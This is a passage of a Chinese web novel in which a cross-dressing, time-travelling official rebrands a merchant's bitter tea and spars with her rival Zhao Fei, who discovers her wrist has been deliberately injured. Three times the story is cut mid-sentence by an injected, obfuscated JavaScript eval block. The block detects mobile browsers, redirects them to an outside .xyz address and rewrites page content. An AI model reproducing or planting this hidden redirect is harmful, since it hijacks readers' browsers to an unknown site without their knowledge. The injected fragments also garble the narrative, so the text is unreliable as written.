《与宿敌共掌市舶司后》 1. 苦茶 梅子黄时雨最恼人。 京畿，官道两旁的桑树叶叫雨水泡发了。 绿得能拧出汁来。 马车轮子碾过软泥，辙痕里汪起一洼琉璃色的天。 明桂枝掀帘时，湿气一下往骨缝里钻，像无数只冰凉的小银鱼在游。 折扇上“清风徐来”的墨字早被手心汗渍泡发了，洇成团团灰蛾子，扑棱棱要飞出扇面。 车轱辘碾过碎石，颠得青瓷盏的茶泼出个半圆。 茶汤顺着檀木爬到圣旨的黄绫边，似条贪嘴金蜈蚣。 她低头看敕牒上的金粉小楷，手指抚过“杭州府市舶司使”的衔，忽觉那金粉簌簌往指甲缝里落——被茶汤洒湿了。 圣旨、马车、京畿官道。 这是历史不曾有过的朝代——宁朝。 刚穿越的瞬间，明桂枝极度错愕。 然而命运没有给她适应的时间。 她一觉醒来，成了同名同姓、女扮男装的新科状元，尚在惊讶之际，竟接到原身父亲在战场上失踪的噩耗…… 一天内接连经历人生的巅峰与低谷，令人无暇自怜。 如今的她，不再是知名电商企业的运营总监，而是宁朝都指挥使明世礼的“独子”，是新晋的杭州市舶司使。 眼下，她即将与太府寺卿赵斐一同往杭州赴任。 明桂枝不禁讪然——往日五湖四海地出差，在古代竟也离乡别井。 莫非她八字驿马，天生劳碌命？ 车窗外，天空湛蓝如海。 “唉，” 明桂枝望着接连飘过的流云，笑叹道：“既来之，则安之。” 这是她的座右铭，带给她无限勇气。 马车缓缓停下。 外头响起马蹄声，嘚嘚嘚由远及近。 赵斐的家仆隔着车帘子喊话，声气不咸不淡，活像在这梅雨天晾了半月的咸鱼干：“明大人，请到前头茶寮歇脚。” 明桂枝撩帘望去，只见那黑瘦的仆役勒马时袍角翻飞，倒比他那张冷脸鲜活三分。 赵斐颀长挺拔，那家仆却黑瘦偏矮。 言谈倒是如出一辙的冷漠疏离。 没有商议的余地，是“顺便告知”。 明桂枝不禁疑惑：市舶司使是从五品官，赵斐不过正五品，高半级而已，何必如此大的官威？ 转念又释怀，原身的父亲失踪于战场，生不见人，死不见尸，怕不是有通敌卖国之嫌。 赵斐摆高姿态避险，也在情理之中。 多想无益，她摇了摇头，阻止自己细思深究——既来之，则安之，如今“寄人篱下”，只也好顺他的意。 “巧了，本官亦想喝茶解暑，”明桂枝朗然笑道：“有劳带路。” 黑瘦家仆似乎未料到“他”竟不恼，愣了愣。 明桂枝不虞有他，信步往茶寮走去。 茶寮是拿毛竹片子搭的，檐角耷拉着半幅"茶"字幌子，叫雨水沤得发了灰。六张松木桌挤得满当当，赵斐一行人坐在最里头的两桌，明桂枝远远便瞅见他了。 并非她眼尖，赵斐一身月白襕衫浆得笔挺，连袖口折痕都透着霜意。 在灰扑扑的茶客堆里，活像白豆腐掉进芝麻糊。 再者，到茶寮歇脚的人大多舟车劳顿，坐姿随性，但求舒适，只有赵斐与仆役们个个危襟正坐。 明桂枝暗笑赵斐迂腐，却不得不佩服赵斐自律，且治下有方。 她走近朝他拱手。 此人剑眉星目，容貌俊朗，可惜少言寡语，周身气场凛冽。 明桂枝无意自找不快，打算敬而远之。 赵斐身边的侍卫想起身让位，明桂枝摆了摆手，提起一张竹凳，往不远处背靠柱子坐下。 这位置正好临窗。 清劲的风吹过外廊，明桂枝闻着微凉的竹青气息，闭目养神。 好不惬意。 冷不丁，听赵斐沉声道：“昆玉，用茶。” 一睁眼，白瓷里漾着茶光。 是他递来一盏茶。 昆玉？ 明桂枝怔了怔。 这是原身的字吗？ 但古人的字不是要与名对应吗？ 或相类，或相反。 昆玉与桂枝有何联系？ 她没有原主的记忆，只从明家管事、仆役口中零零碎碎的交谈中，得知原身在京城第一的豫东书院就学。 赵斐是同窗？ 还是……？ 为免漏马脚，今晨出发前，明桂枝借口怕原身父亲的祸事牵连，将管家仆役都遣散了。 以致眼下无人可问。 她心里大呼失策。 赵斐见“他”眉头轻蹙，不接茶也不接话，不禁目光微黯。 “你我虽不熟，但好歹同窗六载，” 赵斐眸间闪过怨怼，冷道：“难不成要唤你‘明大人’？” 明桂枝接过茶盏，心里快速盘算——同窗六载，但不熟。 这就好办。 “非也，”她尴尬一笑：“下官一时记不得赵大人的字，见笑了。” 赵斐没有接话。 黑眸半瞇，闪灿隐隐怒意。 茶寮繁杂的喧嚣如同白噪音。 明桂枝不知何处出错，愈渐慌神。 “允书。” 半晌，赵斐道。 “允书兄。” 明桂枝喫了一口茶，笑赞道：“文笔斐然，所以允书，好名，好字。” “不及你的名字好。” 赵斐冷道。 明桂枝蹙了蹙眉。 昆玉有什么好？ 与桂枝毫无联系，直让人莫名其妙。 一如赵斐徒然的怒意。 愣神之际，一旁传来吵闹声。 ——“哐啷！” “呸！” 邻桌有人摔了陶盏，褐黄茶汤泼在他靛蓝袍襟上，倒像泼了幅写意山水。 他骂骂咧咧道：“又是这破茶，涩得老子舌头都肿了！” 明桂枝乐得有人搅局，拎着茶盏踱过去，白瓷底在松木桌上旋了个圈，溅出几滴金汤。 “苦茶解暑，兄台消消火。” 那人扭头要骂，瞧见明桂枝腰间羊脂玉带钩，嗓门顿时矮了半截：“公子这般金贵人，倒咽得下这驴尿？” 话头刚落，外头忽地卷进阵热风，茶幌子扑簌簌拍打竹柱，像谁在暗处抚掌。 明桂枝亦细细打量此人。 四十上下，衣衫不俗。 皮肤粗糙但不黝黑，大概四处游走，偏又不至于日晒雨淋。 拇指套着翡翠扳指，虎口却结着老茧，把金算盘磨成了铁耙子。 九成是行商的。 好巧店小二递来粗瓷茶盏，明桂枝这才发现，方才赵斐递给她的，连盏带茶都是他们私家的。 不愧世家公子，真讲究。 她接过抿了一口，立即皱眉。 “嘶——”苦味刹那充斥口腔，她勉强咽下，眼耳口鼻缩成一团。 那人“噗”地笑了，调侃道：“公子的暑气可消了？” 明桂枝不恼，反而觉得他风趣，比赵斐容易沟通。 她莞尔：“齿颊留香算不得本事，齿颊留涩才是真功夫。” 茶寮不大，四周茶客早留意到这边动静。 满堂哄笑震得竹梁簌簌落灰。 那人看明桂枝爽快，反过意不去，主动介绍：“它叫丁罗卜，莴苣的一种。这茶寮总泡丁罗卜，抠门！” “丁罗卜？莴苣……”明桂枝又浅浅抿了一口，愈发觉得这苦味熟悉：“它是不是也叫苦丁？” 茶汤在粗陶盏里凉成琥珀色时，那人的翡翠扳指又磕上了盏沿。 这习惯像是长在骨子里的，明桂枝数着第三声脆响，瞥见扳指内侧的裂璺。 经年累月磨出的痕，比茶寮窗棂的裂纹还要细密。 “公子也知这苦丁茶？”那人嗓音像生锈的秤砣坠进茶汤里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918032|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这茶入不了你们的口，它是给走镖的汉子解腻，替赶集的贩子提神的。” 他袖口露出的账本边角泛着黄，茶沫子溅在上头，为“捌仟陆佰文”的旧账盖了戳。 明桂枝点头，反问道：“兄台是茶商？” 那人一笑。 他思量，眼前这贵公子博闻多识，见微知著，最难得的是没有架子，遂起了结交之意：“兄台不敢当，在下史鸿达，行三。公子赏面的话，唤我史三吧。” “史三爷，”她没有胡乱拿乔：“晚辈明桂枝。” 史鸿达登时好感倍增：“我年少跟随家父贩茶，从各地购茶售往京城，至今二十余载。” 明桂枝脱口问道：“三爷既然嫌弃苦丁，何不用自己的茶叶？” 史鸿达摇头苦笑。 四周的茶客亦表情微妙。 一直默然不语的赵斐冷笑了一声。 明桂枝立马反应过来，惭愧道：“是我太浅薄，三爷见谅。” 史鸿达的拇指摩挲着扳指裂璺，笑出一口茶渍牙：“让小公子瞧了寒碜不是？咱生意人最会打肿脸充胖子——绫罗绸缎裹着，怀里揣的可是掺麸皮窝窝头！” 说着，他抠了抠账本上的墨渍，“货架子上的胭脂香——闻多了，要折寿的。” 史鸿达旁边有个高瘦老者，枯枝似的手指敲了敲米斗：“老汉摸过的白米能填平汴河，自家灶头煮的却是掺着稗子的陈糠。” 他指甲缝里的米浆结着硬壳，像戴了琉璃甲。 邻桌的紫檀商嗤笑出声：“可不是，咱铺里上月给康王府供的酸枝料，刨花子都比这桌板都厚，” 他袖口漏出零星木渣：“去年老父身故，用的松板，最薄的‘幺二三’，下葬时还叫野狗挠出了爪印。” 茶寮霎时成揭了盖的蜂巢。 茶客大多行商，感同身受，你一言我一语。 苦楚在茶炉火气上蒸腾，凝成梁间蛛网上的露。 “唉，” 明桂枝叹息：“遍身罗绮者，不是养蚕人。” 赵斐闻言，转头细细端详“他”的表情，目光复杂。 ——“啪！” “好，说得好！”角落里一个驼背老头猛拍桌，道：“老汉我就是贩生丝，买卖过的生丝少说也过千担了，连绸布都未摸过。” 旁边一个卖炭的老者，颤巍巍举着豁口碗：“一样，一样！小老儿我贩了一辈子银霜炭，自家炕头烧的却是潮麦秸。” 他的指甲缝里嵌着炭灰，倒比在场任何人的玉佩都乌亮。 “真真是‘遍身罗绮者，不是养蚕人’。”有个书生打扮的人附和道：“这两句道尽百姓艰苦，该把它写下来，流传千古！” 众人纷纷叫好。 明桂枝却是一怔。 综合她目前得知的信息，“宁朝”出现在明朝中期。不知道是蝴蝶的哪一片翅膀掀起了风暴，元朝比原本的要延续了几十年，但明朝没有出现。 这首诗出自北宋诗人张俞，他们竟然没有听闻过？ 所以，这个时空哪怕在元朝前，也有很多地方与她所在的历史不重合。 她在无意中剽窃了前人的作品呢…… 算了，多想无益。 明桂枝索性转移话题：“苦丁虽苦，胜在回甘悠长，并非全无优点。” “上月贩的苦丁，如今还在漕船底压舱呢！”史鸿达自袖中抽出一叠货单，翻得簌簌响：“如今见到苦丁就来气！” “买卖有风险，投资需谨慎呀。”明桂枝慨叹。 “可不是嘛！”史鸿达如遇知音，娓娓道来：“三爷我贩过寿眉染霜色，蒸过滇茶焙月光，掌过闽南焙茶灶，识得蜀道雨前青，”他扯出袖笼里的账册，一下拍在桌上：“偏这苦丁的涩味在舌根凿井，掘出的都是铜钱锈！” 明桂枝的茶盏在指尖转了个转，汤色映出史鸿达眉间的川字纹：“三爷既是行家，怎就让这苦丁茶——”盏底轻磕在账本的"利"字上，印出一圈褐渍，“硌了牙？” 2. 半生瓜，半生茶 史鸿达强颜苦笑道：“鬼掩眼，鬼掩眼！那天我在这儿喝苦丁，忽觉得这苦后回甘还不错。” 明桂枝追问：“当日……发生何事？” 她一直相信世上没有完全失败的商品，只是缺乏能发掘它们卖点、适配它们受众的人。 史鸿达既然选了苦丁，必定有打动他之处，可惜他缺乏专业的商品运营思维，错过关键。 眼下，兴许有机会一展所长，明桂枝感到手心微微发烫。 “当日呀……”史鸿达沉吟好一会儿，道：“我收回一笔陈年旧账，颇有些伤春悲秋。” “这不是好事吗？你悲伤什么？” 他旁边高瘦老者问。 史鸿达摩挲着翡翠扳指裂璺，茶汤在粗陶碗里晃出圈圈年轮。 “那年腊月，我借他四百两银子周转——”长长叹息声，惊落梁间积尘：“前年，我要钱银度过难关，揣着借条到扬州，雪片子往领口灌，他家炭盆烧着南洋银针炭，见到是我，砰的一声把门摔上。” 檀木商为他添半盏茶：“后来呢？” “后来我押了祖宅，硬是撑过来了。” “撑过来就好。” “年初我摆寿，大宴亲朋，那人带着他那四百两银子，不请自来。”史鸿达掀开账本，某页夹着的枯山茶正压在“肆佰伍拾两”处：“哦，还添了五十两利钱。” 茶寮又静了。 半晌，卖炭老翁叹笑道：“看开点，雪中送炭，换得来锦上添花，也不亏了。” 史鸿达咧出满口黄牙：“我哪里看不化？只是那日我嚼着苦丁叶对账，忽觉这涩味像极了人生——” 他指尖蘸茶汤在桌面画出一个人形：“顺景时的我，与落魄时的我有何区别？我没变，我还是那个史三，变的只是时势。那些人贪图我当下的势，并非看重我本人，时移势易，所以换了脸色。错不在我，错也不在他。” 众人若有所思。 “想通了，便看化了。”史鸿达径自莞尔：“我们商人守成为先，畏惧高低起落，但有些关节若未经历到，便品不出当中妙处。这苦丁——" 他指尖挑起蜷曲的茶叶，叶脉在暮色里泛着尸斑似的褐，“年轻时当它是穿肠药，年过半百才咂摸出，这苦味原是要就着风雪咽的。” “唔……大概今生有些事，是提早都不可以……明白其妙处。” 明桂枝捕抓到一丝灵感，喃喃自语。 片刻，她抬眼看向史鸿达，眼神坚定。 赵斐一直留意明桂枝，此刻不由心中微微一动—— “他”眸中有火、有光，生猛炽烈。 令他心悸。 明桂枝问：“三爷，你敢不敢再搏一次？” “搏什么？”史鸿达问。 明桂枝微微挑眉：“再卖一次苦丁。” “不，不了！”史鸿达连连摆手。 “三爷，这世上没有失败的商品，只有失败的商人。”明桂枝凝视他道。 史鸿达笑道：“小公子，激将法不顶用，三爷我不愿认栽，但也不想同一个坑栽两次。” 明桂枝将茶盏往案上一搁，踱到竹篾窗前，指节叩了叩被虫蛀出星点的窗棂，漫声问：“三爷可爱吃苦瓜？” 史鸿达正捏着翡翠扳指对光瞧裂璺，闻言一怔。 茶寮外蝉声泼天，日光从竹帘缝漏进来。 他眯眼，咂了咂舌，仿佛真嚼着苦瓜：“说不上爱，倒是隔些时日不吃，喉头便痒痒地念——那苦味后头跟着的甜，比蜜饯子还勾人。” “你年少时呢？” “呸！躲都来不及！”话茬子一扯，陈年旧事如晒干的苦瓜片簌簌落进茶汤。 他记得灶台上铁锅呛出青烟，父亲颠勺时苦瓜片在油星里翻飞，像绿玉碎在琉璃河。 兄弟们总趁盛饭时把苦瓜拨到碗底，再偷偷埋进泔水桶。 老父举着竹筷敲他们的头，敲得当当响：“小后生舌头金贵咯，尝不得人间真味！” “我兄弟几个从小惯养，吃不得那苦味……老爹总笑话我们少不经事，不懂得苦瓜的好——” 明桂枝倚着窗棂轻笑，饶有兴味地看向他。 檐角铜铃忽地叮铃，惊得梁间一只灰蛾扑棱棱撞进光柱，翅上金粉簌簌洒落，恍若那年被竹筷敲落的苦瓜籽。 史鸿达喉头一哽，翡翠扳指磕在茶盏沿上，“当啷”一声脆响，他抬手揉了揉鼻尖，眼尾褶皱里洇开一抹红：“……阿爹他年轻时，是不是也嫌这玩意儿涩口？” 明桂枝不语，只侧身望向窗外。 日头斜过官道，勒杜鹃的影子被风撕成碎金，泼在石板路上晃荡。 檐角铜铃哑了声，几片流云凝在半空，像白瓷碗沿搁凉的脂膏。 “苦瓜有个诨名，叫半生瓜。” 她忽然开口，指尖掠过窗棂上蛀虫啃出的星点小孔。 方才史鸿达说“品不出妙处”时，她耳畔忽地浮起那首名唤《苦瓜》的流行曲。 词句记不真切，只余一句在舌根打转——“大概今生有些事，是提早都不可以，明白其妙处。” 半生瓜与苦丁茶，异曲同工。 苦涩味在舌尖漫开锈味，她低头轻笑。 这世间的苦，都是一把钝口的刀。 有人被它硌碎了牙，有人却拿它雕出回甘的花。 史鸿达捏着茶盏的手一颤：“半生瓜……这诨名怎讲？” “年少时恨它穿肠苦，等咂出回甘了，半辈子也磋磨过去了。” 风吹过。 檐角铜铃叮当一声，惊得史鸿达眼底浮起层薄雾。 他慌忙仰头灌茶，苦丁的涩味却裹着旧事呛进喉头。 十二岁那年，家中典当行叫人坑了货，债主堵门的铜环声比年节鞭炮还响。父亲在外奔波三载，赎回祖宅那日，灶上蒸了一碟苦瓜，水汽氤氲里浮着几粒枸杞，红得像债主按在契书上的血指印。 少年的他摔了筷子：“晦气东西！” 父亲枯坐半晌，命人撤了菜，眼尾皱纹堆成晒蔫的苦瓜瓤：“老三，爹盼你一辈子嫌它苦。” 茶汤在喉头滚了又滚，终于回甘。 史鸿达蓦地懂了—— 哪是什么未卜先知，不过是父亲早被世道腌透了，酸苦沤进骨髓，才知世间的甜不过人生一二。 他当年摔碎的岂止是筷子，分明是老人藏在苦瓜瓤里那点妄念。 泪珠子砸在翡翠扳指上，“啪嗒”一声，裂璺里渗进咸涩。 满堂茶客垂首敛目，碗沿磕碰声窸窣如秋蚕食桑——市井人的慈悲，是假装看不见旁人的碎骨头。 赵斐瞥了一眼史鸿达，若有所思，定定看向明桂枝，才转头看向窗外。 外头勒杜鹃开得泼辣，花影在他眸底投下浓稠的绿，像一潭吞了太多秘密的沼泽。 她别过脸，佯装掸去袖口茶渣。 赵斐的目光太重，沾上身便似湿透的棉袄。 甩不脱，晾不干。 明桂枝指尖叩了叩茶案，苦丁茶汤荡起细纹：“苦瓜是半生瓜，这苦丁茶——何尝不是半生茶？” 史鸿达浑身一震，霍然起身，茶寮竹梁被他拍得簌簌落灰：“妙！妙极！” 他赤红着眼在逼仄的过道里打转，布鞋底碾着碎瓜子壳咯吱响，“半生茶……半生茶！这名头比庙里老和尚打的偈语还勾魂！” 忽又顿住，枯枝般的手指揪住发髻：“可怎么吆喝？……‘半生滋味’？不……‘半生甘苦’……？啊，不，不……要怎么与客人说？” 堂茶客面面相觑，独明桂枝噙着笑拈起一粒盐渍梅子：“三爷，送我赠你一句广告吧。” “广告？” “对联，我赠你一副对联。”明桂枝转头唤小二取笔墨，眼角却瞥见赵斐袖口露出的半截霜色腕骨——这人端坐如青瓷观音，偏生眸光似浸了冰碴子的刀，正冷冷削着她的后颈。 狼毫笔杆在掌心转了个圈，倏然顿住。 毛笔字她练过，还写得不算差。 不过，她不知道原身的笔迹。 赵斐却有可能知道。 明桂枝眉头一皱，计上心头，笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918033|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杆往赵斐跟前一递，腕子悬得恰到好处，既像恳请，又似挑衅。 “允书兄写得一手好字，颜筋柳骨，昆玉岂敢班门弄斧？” 这招虽兵行险著，但明桂枝有九成把握——若是赵斐的字真的极好，她则蒙混过关；若他的字写得一般或者明松枝从来没看过他的字，他大不了也就当自己谄媚奉承。 总归不会露出马脚。 万一他真的起疑，到时候再算。 赵斐盯着明桂枝，仿佛瞧着条吐信的银环蛇：“写得一手好字？” 茶寮灌进一阵穿堂风，他月白襕衫的袖口翻卷如浪，露出手臂一道淡青旧疤——像是被什么利器生生刮去一块皮肉。 明桂枝不知哪里有错，只好强装镇定，笑着与他对视。 “写什么？” 僵持俄而，赵斐接过笔。 指尖与明桂枝一触即分，冷得像腊月井台上的薄霜。 明桂枝不着痕迹地舒了口气：“上联是：常恨半生多契阔；下联是：万幸回首有余甘。” 史鸿达猛拍大腿，震得茶案上青瓷盏跳了跳：“好一个‘常恨半生多契阔’！这半辈子都在码头送茶船、城门口接货单，可不就是‘契阔’二字刻在脊梁骨上！” 卖生丝的老头啐了口瓜子壳：“上联忒丧气！咱贩夫走卒哪个不是脚底板磨穿？要我说啊——”他默念下联，“得亏有这点甜头吊着命，要不早跳大运河喂王八了！” 茶寮霎时炸了锅。 布庄掌柜挽着杭绸袖口嚷：“三爷，这茶名头比月老祠的姻缘签还玄乎！咱们合作，先给我留十担，回头往绸缎里一裹，就叫‘半生锦绣’！” 米铺东家踹翻条凳挤过来，指甲缝里的糠皮簌簌往下掉：“狗屁锦绣！要配就该配我家无锡香稻，煮一锅‘余甘粥’！” 棺材铺老板阴恻恻插话：“不如刻在‘幺二三’薄棺上，就叫‘契阔长眠’……” 话没说完，被茶客们按着灌了满嘴苦丁茶。 明桂枝倚着竹柱轻笑。 檐角铜铃叮咚乱响。 茶寮喧闹声更甚。 穿堂风卷着苦丁茶的涩味掠过官道，勒杜鹃花瓣混着碎账纸漫天飞旋，恍若谁把半辈子的契阔与余甘，都撕成了清明撒的纸钱。 蝉声在燥热里突然拔高，惊落一串蛛丝——正巧悬在赵斐眼前晃悠，像道未干的墨痕，劈开他眸中寒潭。 一滴松烟墨从笔尖坠下，正落在“余甘”二字上，晕成只黑黢黢的眼。 书法刚劲有力、矫若蛟龙，明桂枝忍不住赞道：“好字！” 赵斐执笔的手僵了僵，深深吸了一口气。 明桂枝把对联递给史鸿达：“三爷，可愿再搏一次？” 史鸿达双手接过来时，指尖发颤，他眼珠子亮得瘆人，活似当铺掌柜瞧见了前朝的鎏金佛：“回杭州就叫人刻匾！纸包拓这对联，檐下挂横竖双匾——横匾刻‘半生茶’……苦丁茶从此就叫‘半生茶’！” 蝉鸣忽地哑了。 赵斐的月白襕衫在竹帘缝里一闪，冷如刀锋劈开日头。 他起身时袖口扫落茶盏，青瓷碎在明桂枝脚边，溅起的残茶沾湿她袍角，像这个雨季墙角窜起的爬山虎须。 “公子真神了！”史鸿达还在絮叨，翡翠扳指磕着卷轴轴头“咔咔”响，“史三贩茶半辈子，竟不知苦味能熬成金字招牌……” 明桂枝举杯，以茶代酒：“世上哪有什么废品，只有不懂点石成金的手。” “是极！是极！”史鸿达也举杯回应：“明儿就找匠人凿模子，‘半生茶’三字得用狂草，泼墨似的才够劲——” 话音未落，赵斐的嗓音已刺破喧嚣：“启程。” 二字落地，茶寮一息间静默。 小二拎着铜壶僵在过道，壶嘴滴下的水珠砸在石板，弹起星星水珠。 明桂枝的茶盏悬在半空，终究没敬成。 她朝史鸿达匆匆拱手，袖口带翻了盐罐。 雪粒子似的盐末撒在那上联，恍若给半生契阔蒙了层霜。 …… 3. 手伤 马车都杵在官道拐角。 赵斐比明桂枝高一个头，带着隐隐怒意疾走。 沿途野树虬枝张牙舞爪地笼下来，叶影在他月白襕衫上织出密密的网，将他缚成一只茧。 明桂枝追得鞋底沾满泥星子，喘气声惊起草丛里几只灰雀。 好不容易到了马车停靠的地方，赵斐骤然停下脚步，却良久不语。 随从们以为他们要密谈，娴熟地回避。 风掀起他衣袍一角，露出靴筒暗绣的螭纹，那神兽张着利齿，咬住明桂枝晃动的影子。 “允书兄——” 话音未落，腕子已叫铁钳似的手扣住。 赵斐虎口的老茧硌得她生疼，那处皮肤底下突突跳动的，不知是谁的血脉在贲张。 “孔雀爱羽，虎豹爱爪。”他声音比夜露还凉，吐息扫过她耳际，挟着墨水的苦味，“你倒是怜惜自己的羽毛。” 明桂枝腕骨“咯”地轻响，疼得眼底泛潮。 她不知他怨从何起，干脆把话说开了，兴许还能多掌握原身的信息。 “允书兄不妨明示。” 暮色里，赵斐睫毛垂下的阴影似刀锋开刃：“状元郎怎么不露一手好书法？” 明桂枝一愣，难道原身也擅长书法？ 但眼下只能继续之前的说辞。 “珠玉在前，不敢献丑。” 她手腕有种阴寒的、陌生的刺痛，几番挣扎，无奈赵斐本就孔武有力，加之眼下他气在头上，她更挣脱不开。 “惺惺作态，” 他指尖猛然收紧，虎口在她腕上压出月牙痕，嗤笑一声：“史三一介商贾，不配你留墨罢了。” 明桂枝无以反驳。 只怪自己不够谨慎。 二人皆是官身，为一面之缘的商人代笔留书，在时人眼中乃自贬身价。 她甚至让赵斐代书。 史三日后拓了他的墨宝作招牌，万一以后商品有何纰漏，便会算到赵斐这个“代言人”头上。 这么看来，她简直陷人于不义。 无怪乎赵斐气愤。 “是在下龌龊，” 明桂枝忏愧道：“允书兄，万望见谅。” 手腕上的力度徒然骤减。 她感到赵斐轻抚她的腕骨，倏地惊出一身冷汗。 “允书兄！” 明桂枝猛然抽手。 一抬眼，赵斐慌忙转头，避过她的目光。 大约是她的错觉—— 他眼神里闪过无限错愕。 明桂枝心中一寒，拱了拱手：“在下告退。” 逃也似的走远。 却及至上了马车，还见赵斐立在原地，神色恍惚。 莫非……他察觉了什么？ 马车颠簸着碾过碎石。 明桂枝蜷在厢角，腕上金钏似的瘀痕突突发烫。 细篾条编的帘隙里漏进几线光，恰巧横在她靴尖前，像道生了锈的栅栏。 …… 起风了。 风从豁口钻进来，裹着碎玻璃碴子似的凉。 车帘子扑簌簌拍打窗棂。 残阳像泼翻的胭脂匣子，把蓑草染成带锈的铜钱色。 可惜这景致落进赵斐眼底，全成了茫茫一片的酱菜色。 ——明桂枝的手有伤。 “他”手腕钩骨之间的凹陷处，有轻微错位。 所以，自己不过轻轻用力，“他”竟无法挣脱。 听闻缉事厂和天机府都有这样的本事，令人腕骨错位，却不至妨碍日常。 此法用于逼供，乃是严刑一种。 赵斐从前觉得无稽——若要人不能言，毒哑便是；若要人不能书写，砍手即可。 虽不能书画，却不碍日常。 如此刑罚，何用之有？ 如今，他才领略其恶毒之处。 明桂枝擅书法。 偶尔有同窗分享拓本，“他”会极其罕见地来凑热闹。 “这帖，我府中也有。” 每次皆如是说。 从来无人质疑，皆因明世礼喜欢收集碑帖拓本。 听说明家的藏本之多，堪比宫中。 兴之所至，“他”会露一手。 起手，悬笔，落墨。 一气呵成。 形神俱在，毫厘处摹出拓本精粹。 “他”也有独创的字体。 具褚遂良之风，亦兼薛曜之骨。 笔迹瘦劲。 但运转提顿间风姿绰约。 赵斐想起他十三岁的一天，父亲赵廓下朝回府，欣然自喜。 不似往日板着面考问功课，他嘴角弯得压不住，眼角聚起细细皱纹。 “父亲有喜事？” “古长青托人禀了一篇策略，说是豫东书院的学子所作。” 赵廓说的古长青，原是户部侍郎，彼时因丧母守制，受国子监祭酒刘沐霖之聘，暂主持豫东书院。 赵斐点了点头：“是《汉初驰商贾之律论》？古山长确实命我们以此题作策论。” “正是！” 赵廓笑得两颊耸动:“圣上夸赞你的策论有房、杜之遗风。” 赵斐迟疑：“我的策论？” 按惯例，月考课题，学员皆未署名。 更重要的是…… 明桂枝的策论向来比他好，而且精于律论。 “为父认得你的字，” 赵廓递来几页纸：“你惯摹唐朝薛曜的帖，时日有功，如今竟写得这般好了！” 赵斐接过细看，正是题为《汉初驰商贾之律论》的策论。 可惜，不是他那篇。 纸上赫然是明桂枝笔迹。 赵斐顿觉得胸口闷着一道气，呼不出，又顺不下。 明明，他早有预料…… “圣上对你的字赞不绝口，‘锋芒凌厉，亦不失韵趣霭然’，” 赵廓不察觉他的异样，径自朗笑：“哈，圣上金口玉言，我儿攀蟾折桂，指日可待！” 赵斐深深咽下那道气，顿觉得满腔满腹酸苦夹杂。 “如此大好机会，为父当然要替你扬名，圣上龙颜大悦，为你的策论题字。” 赵斐翻到最后一页，看见圣上朱批：“虎父无犬子。” 何其讽刺。 偏偏赵廓还道：“姓明的压过我们赵家三代人，如今我儿终于扳回一城！只可惜明世礼不在京城，唉，锦衣夜行啊……” 赵斐长久的沉默，终于让赵廓意识到不对劲。 “这是你的策论，” 赵廓脸色一僵，跨步到他身侧，指着那篇策论，沉声问：“是你的策略，是吧？” “不是。” “是谁的？” 赵廓大概猜到答案，问得咬牙切齿。 “明桂枝的。” ——“啪！” 赵廓猛地给他一个耳光。 “废物！” 赵斐脸颊辣得似火烧，原本的不甘在此刻尽化作委屈，他抬眼讪道：“圣上倒是没有错批，‘虎父无犬子’。” “你！孽障！” 赵廓气得怒目圆瞪，反手又扇了他两巴掌，还不够解气，于是一把夺过那策论，起手就要撕开。 “圣上御笔！” 赵斐急忙阻止。 赵廓冷哼一声，抽走最后一页，正要继续撕掉剩余的。 然而他目光掠过那屈铁断金的字，遽然罢手。 几页纸侧过来侧过去，看了又看。 “字，是好字，” 赵廓叹气再复叹气，终是道：“纵使它出自仇人之子，也还是好字。” …… 思绪渐回到眼前。 连仇人都由衷赏识的好书法，“他”或许再也写不了。 他本该高兴。 毕竟，“他”是仇人之子。 却为何…… 赵斐长长呼一口气，似要把当初咽下的酸苦滋味都呻出来。 偏偏，偏偏。 日积月累，酸苦早已化作若有若无的辛涩，融入他每一丝脉搏气息。 …… 马车接连辘辘驶过，树上的黑鸦被惊到， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918034|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地转头，“嘎”地一声，赵斐回过神来，发现车马已缓缓抵达客栈。 四下尚略显荒凉，除了客栈，只零零落落有几间村舍。 太阳西斜，四下有汪汪犬吠声，客栈的方向也隐隐有人声。 随扈先行一步，打点住店的事宜。 ——“允书兄！” 赵斐皱眉转头，只见明桂枝背着两大包行囊，气喘吁吁地追赶上来。 他心头泛过一丝恻隐——明家大少爷身娇肉贵，“他”何曾亲自背负行囊？ 明桂枝是天之骄子。 有才华，有意气。 “他”应当在金銮殿上舌战群儒。 在御书房挥毫泼墨。 又或者在琼玉楼觥筹交错。 在重檐门前披红挂彩、骑马游街。 而不是如丧家犬一般飘泊。 赵斐终究爱才，于心不忍。 “我派个仆役给你。”他叹气。 “为何？”对方惑然。 “繁杂琐事，总要有人代劳。” “小事而已，我能处理。” “家生子是死契，不遣放也无妨。” 赵斐又道。 